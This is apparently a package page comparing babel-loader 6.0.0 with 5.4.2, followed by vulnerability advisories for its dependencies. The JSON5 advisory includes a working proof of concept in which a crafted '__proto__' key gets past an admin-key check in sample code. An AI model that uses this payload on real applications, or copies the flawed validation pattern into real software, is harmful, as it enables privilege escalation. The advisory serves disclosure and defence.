Babel-loader is a crucial webpack loader that allows developers to seamlessly integrate Babel into their webpack build process, enabling the use of next-generation JavaScript features in their projects. Comparing versions 6.0.0 and 5.4.2 highlights significant updates. Version 6.0.0 bumps its core dependency on babel-core to version 6, a major version jump from the ^5.4.0 requirement in version 5.4.2. This means developers gain access to the latest Babel transformations and features, aligning with the modern JavaScript landscape.
Other dependencies were changed as well, like for example object-assign, which was updated from version ^3.0.0 to ^4.0.1. While not a breaking change, it shows a commitment to leveraging more recent utilities. Peer dependencies also evolved; version 6.0.0 mandates webpack "*" and babel-core "^6.0.0", while version 5.4.2 had more relaxed requirements for webpack "1 || 2 || ^2.1.0-beta" and babel-core "^5.0.0". This reflects a tightening of supported peer dependencies to ensure compatibility with the current ecosystem.
Developers upgrading to babel-loader 6.0.0 should primarily focus on the babel-core upgrade, ensuring their Babel configuration aligns with version 6's requirements. This includes updating presets and plugins to the new format. The move to Babel 6 in babel-loader 6.0.0 introduces significant enhancements.
All the vulnerabilities related to the version 6.0.0 of the package
Prototype pollution in webpack loader-utils
Prototype pollution vulnerability in function parseQuery in parseQuery.js in webpack loader-utils prior to version 2.0.3 via the name variable in parseQuery.js.
Prototype Pollution in JSON5 via Parse Method
The parse method of the JSON5 library before and including version 2.2.1 does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object.
This vulnerability pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.
This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from JSON5.parse. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.
This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.
Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using JSON5.parse, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:
const JSON5 = require('json5');
const doSomethingDangerous = (props) => {
if (props.isAdmin) {
console.log('Doing dangerous thing as admin.');
} else {
console.log('Doing dangerous thing as user.');
}
};
const secCheckKeysSet = (obj, searchKeys) => {
let searchKeyFound = false;
Object.keys(obj).forEach((key) => {
if (searchKeys.indexOf(key) > -1) {
searchKeyFound = true;
}
});
return searchKeyFound;
};
const props = JSON5.parse('{"foo": "bar"}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as user."
} else {
throw new Error('Forbidden...');
}
If the user attempts to set the isAdmin key, their request will be rejected:
const props = JSON5.parse('{"foo": "bar", "isAdmin": true}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props);
} else {
throw new Error('Forbidden...'); // Error: Forbidden...
}
However, users can instead set the __proto__ key to {"isAdmin": true}. JSON5 will parse this key and will set the isAdmin key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:
const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as admin."
} else {
throw new Error('Forbidden...');
}